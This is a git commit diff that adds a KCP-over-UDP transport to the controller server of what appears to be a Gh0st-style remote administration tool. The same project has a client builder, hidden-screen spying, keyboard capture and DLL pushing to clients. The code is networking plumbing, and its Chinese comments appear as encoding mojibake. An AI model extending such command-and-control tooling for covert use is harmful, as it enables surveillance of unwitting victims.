Feature: Implement KCP protocol - based on UDP

This commit is contained in:
yuanyuanxiang
2025-07-20 04:42:29 +08:00
parent 07f6c92306
commit a2759a5d6a
25 changed files with 2248 additions and 29 deletions

View File

@@ -178,7 +178,10 @@ int CMy2015RemoteApp::ExitInstance()
CloseHandle(m_Mutex);
m_Mutex = NULL;
}
Delete();
__try{
Delete();
}__except(EXCEPTION_EXECUTE_HANDLER){
}
SAFE_DELETE(m_iniFile);

View File

@@ -12,6 +12,7 @@
#include "common/iniFile.h"
#include "IOCPServer.h"
#include "IOCPUDPServer.h"
#include "IOCPKCPServer.h"
// CMy2015RemoteApp:
// <20>йش<D0B9><D8B4><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD>֣<EFBFBD><D6A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 2015Remote.cpp
@@ -25,7 +26,9 @@ private:
Server* m_tcpServer;
Server* m_udpServer;
public:
ServerPair() : m_tcpServer(new IOCPServer), m_udpServer(new IOCPUDPServer) {}
ServerPair(int method=0) :
m_tcpServer(new IOCPServer),
m_udpServer(method ? (Server*)new IOCPKCPServer : new IOCPUDPServer) {}
virtual ~ServerPair() { SAFE_DELETE(m_tcpServer); SAFE_DELETE(m_udpServer); }
BOOL StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) {
@@ -78,13 +81,14 @@ public:
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD>0
// nPortʾ<74><CABE>: 6543;7543
UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, const std::string& uPort, int maxConn) {
UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, const std::string& uPort, int maxConn, const std::string& method) {
bool succeed = false;
auto list = StringToVector(uPort, ';');
auto methods = StringToVector(method, ';', list.size());
for (int i=0; i<list.size(); ++i)
{
int port = std::atoi(list[i].c_str());
auto svr = new ServerPair();
auto svr = new ServerPair(atoi(methods[i].c_str()));
BOOL ret = svr->StartServer(NotifyProc, OffProc, port);
if (ret == FALSE) {
SAFE_DELETE(svr);

Binary file not shown.

View File

@@ -591,7 +591,7 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
EnterCriticalSection(&m_cs);
if (IsExitItem(m_CList_Online, (ULONG_PTR)ContextObject)) {
LeaveCriticalSection(&m_cs);
OutputDebugStringA(CString("===> '") + strIP + CString("' already exist!!\n"));
Mprintf("===> '%s' already exist!!\n", strIP);
return;
}
LeaveCriticalSection(&m_cs);
@@ -927,7 +927,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
int nMaxConnection = THIS_CFG.GetInt("settings", "MaxConnection");
m_nMaxConnection = nMaxConnection <= 0 ? 10000 : nMaxConnection;
}
if (!Activate(nPort, m_nMaxConnection)){
const std::string method = THIS_CFG.GetStr("settings", "UDPOption");
if (!Activate(nPort, m_nMaxConnection, method)){
OnCancel();
return FALSE;
}
@@ -1552,10 +1553,7 @@ VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength)
context* ContextObject = (context*)m_CList_Online.GetItemData(iItem);
if (!ContextObject->IsLogin() && szBuffer[0] != COMMAND_BYE)
continue;
if (szBuffer[0]== COMMAND_WEBCAM && ContextObject->GetClientData(ONLINELIST_VIDEO) == CString(""))
{
continue;
}
// 发送获得驱动器列表数据包
ContextObject->Send2Client(szBuffer, ulLength);
}
@@ -1682,10 +1680,10 @@ std::vector<std::string> splitByNewline(const std::string& input) {
return lines;
}
BOOL CMy2015RemoteDlg::Activate(const std::string& nPort,int nMaxConnection)
BOOL CMy2015RemoteDlg::Activate(const std::string& nPort,int nMaxConnection, const std::string& method)
{
UINT ret = 0;
if ( (ret = THIS_APP->StartServer(NotifyProc, OfflineProc, nPort, nMaxConnection)) !=0 )
if ( (ret = THIS_APP->StartServer(NotifyProc, OfflineProc, nPort, nMaxConnection, method)) !=0 )
{
Mprintf("======> StartServer Failed \n");
char cmd[200];
@@ -1712,7 +1710,7 @@ BOOL CMy2015RemoteDlg::Activate(const std::string& nPort,int nMaxConnection)
auto cmd = std::string("taskkill /f /pid ") + line;
exec(cmd.c_str());
}
return Activate(nPort, nMaxConnection);
return Activate(nPort, nMaxConnection, method);
}
}else
MessageBox("调用函数StartServer失败! 错误代码:" + CString(std::to_string(ret).c_str()));
@@ -2114,6 +2112,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) {
ctx->InDeCompressedBuffer.CopyBuffer(&hb, sizeof(Heartbeat), 1);
// 回复心跳
// if(0)
{
HeartbeatACK ack = { hb.Time };
BYTE buf[sizeof(HeartbeatACK) + 1] = { CMD_HEARTBEAT_ACK};

View File

@@ -169,7 +169,7 @@ public:
VOID CreateNotifyBar();
VOID CreateSolidMenu();
int m_nMaxConnection;
BOOL Activate(const std::string& nPort,int nMaxConnection);
BOOL Activate(const std::string& nPort,int nMaxConnection, const std::string& method);
void UpdateActiveWindow(CONTEXT_OBJECT* ctx);
void SendMasterSettings(CONTEXT_OBJECT* ctx);
VOID SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit);

View File

@@ -252,6 +252,7 @@
<ClInclude Include="..\..\client\MemoryModule.h" />
<ClInclude Include="..\..\common\aes.h" />
<ClInclude Include="..\..\common\encrypt.h" />
<ClInclude Include="..\..\common\ikcp.h" />
<ClInclude Include="..\..\common\iniFile.h" />
<ClInclude Include="2015Remote.h" />
<ClInclude Include="2015RemoteDlg.h" />
@@ -273,6 +274,7 @@
<ClInclude Include="file\CFileTransferModeDlg.h" />
<ClInclude Include="HideScreenSpyDlg.h" />
<ClInclude Include="InputDlg.h" />
<ClInclude Include="IOCPKCPServer.h" />
<ClInclude Include="IOCPServer.h" />
<ClInclude Include="IOCPUDPServer.h" />
<ClInclude Include="KeyBoardDlg.h" />
@@ -317,6 +319,12 @@
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="..\..\common\ikcp.c">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="2015Remote.cpp" />
<ClCompile Include="2015RemoteDlg.cpp" />
<ClCompile Include="AudioDlg.cpp" />
@@ -335,6 +343,7 @@
<ClCompile Include="file\CFileTransferModeDlg.cpp" />
<ClCompile Include="HideScreenSpyDlg.cpp" />
<ClCompile Include="InputDlg.cpp" />
<ClCompile Include="IOCPKCPServer.cpp" />
<ClCompile Include="IOCPServer.cpp" />
<ClCompile Include="IOCPUDPServer.cpp" />
<ClCompile Include="KeyBoardDlg.cpp" />

View File

@@ -50,6 +50,8 @@
</ClCompile>
<ClCompile Include="IOCPUDPServer.cpp" />
<ClCompile Include="CDrawingBoard.cpp" />
<ClCompile Include="IOCPKCPServer.cpp" />
<ClCompile Include="..\..\common\ikcp.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\..\client\Audio.h" />
@@ -112,6 +114,8 @@
<ClInclude Include="IOCPUDPServer.h" />
<ClInclude Include="Server.h" />
<ClInclude Include="CDrawingBoard.h" />
<ClInclude Include="IOCPKCPServer.h" />
<ClInclude Include="..\..\common\ikcp.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="2015Remote.rc" />

View File

@@ -269,6 +269,8 @@ BOOL CBuildDlg::OnInitDialog()
m_ComboProto.InsertString(PROTO_TCP, "TCP");
m_ComboProto.InsertString(PROTO_UDP, "UDP");
m_ComboProto.InsertString(PROTO_HTTP, "HTTP");
m_ComboProto.InsertString(PROTO_HTTPS, "---");
m_ComboProto.InsertString(PROTO_KCP, "KCP");
m_ComboProto.SetCurSel(PROTO_TCP);
m_ComboEncrypt.InsertString(PROTOCOL_SHINE, "Shine");

View File

@@ -0,0 +1,226 @@
#include "stdafx.h"
#include "IOCPKCPServer.h"
#include "IOCPServer.h"
IUINT32 IOCPKCPServer::iclock() {
static LARGE_INTEGER freq = {};
static BOOL useQpc = QueryPerformanceFrequency(&freq);
if (useQpc) {
LARGE_INTEGER now;
QueryPerformanceCounter(&now);
return (IUINT32)(1000 * now.QuadPart / freq.QuadPart);
}
else {
return GetTickCount();
}
}
CONTEXT_KCP* IOCPKCPServer::FindOrCreateClient(const sockaddr_in& addr, SOCKET sClientSocket) {
char buf[64];
sprintf_s(buf, "%s:%d", inet_ntoa(addr.sin_addr), ntohs(addr.sin_port));
std::string key = buf;
std::lock_guard<std::mutex> lock(m_contextsMutex);
auto it = m_clients.find(key);
if (it != m_clients.end()) {
return it->second;
}
// <20>½<EFBFBD> CONTEXT_KCP
CONTEXT_KCP* ctx = new CONTEXT_KCP();
ctx->InitMember(sClientSocket, this);
ctx->clientAddr = addr;
// <20><>ʼ<EFBFBD><CABC> kcp
IUINT32 conv = KCP_SESSION_ID;
ctx->kcp = ikcp_create(conv, ctx);
ctx->kcp->output = [](const char* buf, int len, ikcpcb* kcp, void* user) -> int {
CONTEXT_KCP* c = (CONTEXT_KCP*)user;
WSABUF wsaBuf = { len, (CHAR*)buf };
DWORD sent = 0;
// <20><><EFBFBD><EFBFBD>ctx<74><EFBFBD><E6B4A2>IP<49>˿ڷ<CBBF><DAB7><EFBFBD>
// ע<>⣺Ҫ<E2A3BA><D2AA>֤ ctx <20><>Ӧ<EFBFBD>ͻ<EFBFBD><CDBB>˵<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD> sClientSocket <20><>ȷ
int ret = WSASendTo(c->sClientSocket, &wsaBuf, 1, &sent, 0,
(sockaddr*)&c->clientAddr, c->addrLen, NULL, NULL);
if (ret == SOCKET_ERROR) {
DWORD err = WSAGetLastError();
// <20><><EFBFBD>Դ<EFBFBD>ӡ<EFBFBD><D3A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־
return -1;
}
return 0;
};
ikcp_nodelay(ctx->kcp, 1, 10, 2, 1);
ikcp_wndsize(ctx->kcp, 128, 128);
m_clients[key] = ctx;
return ctx;
}
UINT IOCPKCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) {
if (m_running) return 1;
m_port = uPort;
m_notify = NotifyProc;
m_offline = OffProc;
m_socket = WSASocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP, NULL, 0, WSA_FLAG_OVERLAPPED);
if (m_socket == INVALID_SOCKET) return 2;
sockaddr_in addr{};
addr.sin_family = AF_INET;
addr.sin_port = htons(uPort);
addr.sin_addr.s_addr = INADDR_ANY;
if (bind(m_socket, (sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR) return 3;
m_hIOCP = CreateIoCompletionPort((HANDLE)m_socket, NULL, 0, 0);
if (!m_hIOCP) return 4;
m_running = true;
// <20><><EFBFBD><EFBFBD>IOCP<43><50><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
m_hThread = CreateThread(NULL, 0, [](LPVOID param) -> DWORD {
((IOCPKCPServer*)param)->WorkerThread();
return 0;
}, this, 0, NULL);
// <20><><EFBFBD><EFBFBD>KCP<43><50>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
m_kcpUpdateThread = std::thread(&IOCPKCPServer::KCPUpdateLoop, this);
Mprintf("IOCPKCPServer StartServer: %p\n", this);
return 0;
}
void IOCPKCPServer::WorkerThread() {
char buf[1500];
sockaddr_in clientAddr;
int addrLen = sizeof(clientAddr);
while (m_running) {
int ret = recvfrom(m_socket, buf, sizeof(buf), 0, (sockaddr*)&clientAddr, &addrLen);
if (ret > 0) {
CONTEXT_KCP* ctx = FindOrCreateClient(clientAddr, m_socket);
if (ctx && ctx->kcp) {
{
std::lock_guard<std::mutex> lock(m_contextsMutex);
ikcp_input(ctx->kcp, buf, ret);
}
char recvbuf[4096];
int n = 0;
do {
{
std::lock_guard<std::mutex> lock(m_contextsMutex);
n = ikcp_recv(ctx->kcp, recvbuf, sizeof(recvbuf));
}
if (n > 0&& m_notify) {
memcpy(ctx->szBuffer, recvbuf, n);
BOOL ret = ParseReceivedData(ctx, n, m_notify);
}
}while (n>0);
}
}
else {
DWORD err = WSAGetLastError();
if (err != WSAEWOULDBLOCK && err != WSAEINTR) {
// <20><>ӡ<EFBFBD><D3A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
}
}
}
Mprintf("IOCPKCPServer WorkerThread DONE: %p\n", this);
}
void IOCPKCPServer::KCPUpdateLoop() {
while (m_running) {
IUINT32 current = iclock();
std::lock_guard<std::mutex> lock(m_contextsMutex);
for (auto& kv : m_clients) {
CONTEXT_KCP* ctx = kv.second;
if (ctx && ctx->kcp) {
ikcp_update(ctx->kcp, current);
}
}
Sleep(10);
}
}
void IOCPKCPServer::Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) {
if (!ContextObject || !ContextObject->kcp) return;
ContextObject->OutCompressedBuffer.ClearBuffer();
if (!WriteContextData(ContextObject, szBuffer, ulOriginalLength))
return;
{
std::lock_guard<std::mutex> lock(m_contextsMutex);
ikcp_send(ContextObject->kcp,
(const char*)ContextObject->OutCompressedBuffer.GetBuffer(),
(int)ContextObject->OutCompressedBuffer.GetBufferLength());
ikcp_flush(ContextObject->kcp);
}
}
void IOCPKCPServer::Destroy() {
Mprintf("IOCPKCPServer Destroy: %p\n", this);
m_running = false;
if (m_socket != INVALID_SOCKET) {
closesocket(m_socket);
m_socket = INVALID_SOCKET;
}
if (m_hThread) {
WaitForSingleObject(m_hThread, INFINITE);
CloseHandle(m_hThread);
m_hThread = NULL;
}
if (m_kcpUpdateThread.joinable())
m_kcpUpdateThread.join();
if (m_hIOCP) {
CloseHandle(m_hIOCP);
m_hIOCP = NULL;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>пͻ<D0BF><CDBB><EFBFBD>
std::lock_guard<std::mutex> lock(m_contextsMutex);
for (auto& kv : m_clients) {
if (kv.second) {
if (kv.second->kcp) {
ikcp_release(kv.second->kcp);
kv.second->kcp = nullptr;
}
delete kv.second;
}
}
m_clients.clear();
}
void IOCPKCPServer::Disconnect(CONTEXT_OBJECT* ctx) {
if (!ctx) return;
std::string key = ctx->PeerName;
{
std::lock_guard<std::mutex> lock(m_contextsMutex);
auto it = m_clients.find(key);
if (it != m_clients.end()) {
if (it->second == ctx) {
if (m_offline) m_offline(ctx);
if (ctx->kcp) {
ikcp_release(ctx->kcp);
ctx->kcp = nullptr;
}
delete ctx;
m_clients.erase(it);
}
}
}
}

View File

@@ -0,0 +1,67 @@
#pragma once
#include "Server.h"
class CONTEXT_KCP : public CONTEXT_OBJECT {
public:
int addrLen = 0;
sockaddr_in clientAddr = {};
CONTEXT_KCP() {
}
virtual ~CONTEXT_KCP() {
}
std::string GetProtocol() const override {
return "KCP";
}
VOID InitMember(SOCKET s, Server* svr) override {
CONTEXT_OBJECT::InitMember(s, svr);
clientAddr = {};
addrLen = sizeof(sockaddr_in);
}
void Destroy() override {
}
virtual std::string GetPeerName() const override {
char client_ip[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &clientAddr.sin_addr, client_ip, INET_ADDRSTRLEN);
return client_ip;
}
virtual int GetPort() const override {
int client_port = ntohs(clientAddr.sin_port);
return client_port;
}
};
class IOCPKCPServer : public Server {
public:
IOCPKCPServer(){}
virtual ~IOCPKCPServer(){}
virtual int GetPort() const override { return m_port; }
virtual UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) override;
virtual void Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) override;
virtual void Destroy() override;
virtual void Disconnect(CONTEXT_OBJECT* ctx) override;
private:
SOCKET m_socket = INVALID_SOCKET;
HANDLE m_hIOCP = NULL;
HANDLE m_hThread = NULL;
bool m_running = false;
USHORT m_port = 0;
pfnNotifyProc m_notify = nullptr;
pfnOfflineProc m_offline = nullptr;
std::mutex m_contextsMutex;
std::unordered_map<std::string, CONTEXT_KCP*> m_clients; // key: "IP:port"
std::thread m_kcpUpdateThread;
CONTEXT_KCP* FindOrCreateClient(const sockaddr_in& addr, SOCKET sClientSocket);
void WorkerThread();
void KCPUpdateLoop();
static IUINT32 iclock();
};

View File

@@ -9,6 +9,7 @@
#define XXH_INLINE_ALL
#include "xxhash.h"
#include <WS2tcpip.h>
#include <common/ikcp.h>
#define PACKET_LENGTH 0x2000
@@ -309,7 +310,12 @@ public:
typedef class CONTEXT_OBJECT : public context
{
public:
virtual ~CONTEXT_OBJECT(){}
virtual ~CONTEXT_OBJECT(){
if (kcp) {
ikcp_release(kcp);
kcp = nullptr;
}
}
CString sClientInfo[ONLINELIST_MAX];
CString additonalInfo[RES_MAX];
SOCKET sClientSocket;
@@ -330,6 +336,7 @@ public:
BOOL bLogin; // <20>Ƿ<EFBFBD> login
std::string PeerName; // <20>Զ<EFBFBD>IP
Server* server; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ikcpcb* kcp = nullptr; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>KCP<43>
std::string GetProtocol() const override {
return Parser.m_Masker && Parser.m_Masker->GetMaskType() == MaskTypeNone ? "TCP" : "HTTP";

View File

@@ -21,6 +21,7 @@ CSettingDlg::CSettingDlg(CWnd* pParent)
, m_nReportInterval(5)
, m_sSoftwareDetect(_T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ"))
, m_sPublicIP(_T(""))
, m_sUdpOption(_T(""))
{
}
@@ -49,6 +50,9 @@ void CSettingDlg::DoDataExchange(CDataExchange* pDX)
DDX_Control(pDX, IDC_EDIT_PUBLIC_IP, m_EditPublicIP);
DDX_Text(pDX, IDC_EDIT_PUBLIC_IP, m_sPublicIP);
DDV_MaxChars(pDX, m_sPublicIP, 100);
DDX_Control(pDX, IDC_EDIT_UDP_OPTION, m_EditUdpOption);
DDX_Text(pDX, IDC_EDIT_UDP_OPTION, m_sUdpOption);
DDV_MaxChars(pDX, m_sUdpOption, 24);
}
BEGIN_MESSAGE_MAP(CSettingDlg, CDialog)
@@ -70,6 +74,7 @@ BOOL CSettingDlg::OnInitDialog()
m_sPublicIP = THIS_CFG.GetStr("settings", "master", "").c_str();
m_sPublicIP = m_sPublicIP.IsEmpty() ? cvt.getPublicIP().c_str() : m_sPublicIP;
std::string nPort = THIS_CFG.GetStr("settings", "ghost", "6543");
m_sUdpOption = THIS_CFG.GetStr("settings", "UDPOption", "").c_str();
int DXGI = THIS_CFG.GetInt("settings", "DXGI");
@@ -132,6 +137,7 @@ void CSettingDlg::OnBnClickedButtonSettingapply()
UpdateData(TRUE);
THIS_CFG.SetStr("settings", "master", m_sPublicIP.GetBuffer());
THIS_CFG.SetStr("settings", "ghost", m_nListenPort.GetString());
THIS_CFG.SetStr("settings", "UDPOption", m_sUdpOption.GetString());
int n = m_ComboScreenCapture.GetCurSel();
THIS_CFG.SetInt("settings", "DXGI", n);

View File

@@ -40,4 +40,6 @@ public:
CString m_sPublicIP;
afx_msg void OnBnClickedRadioAllScreen();
afx_msg void OnBnClickedRadioMainScreen();
CEdit m_EditUdpOption;
CString m_sUdpOption;
};

Binary file not shown.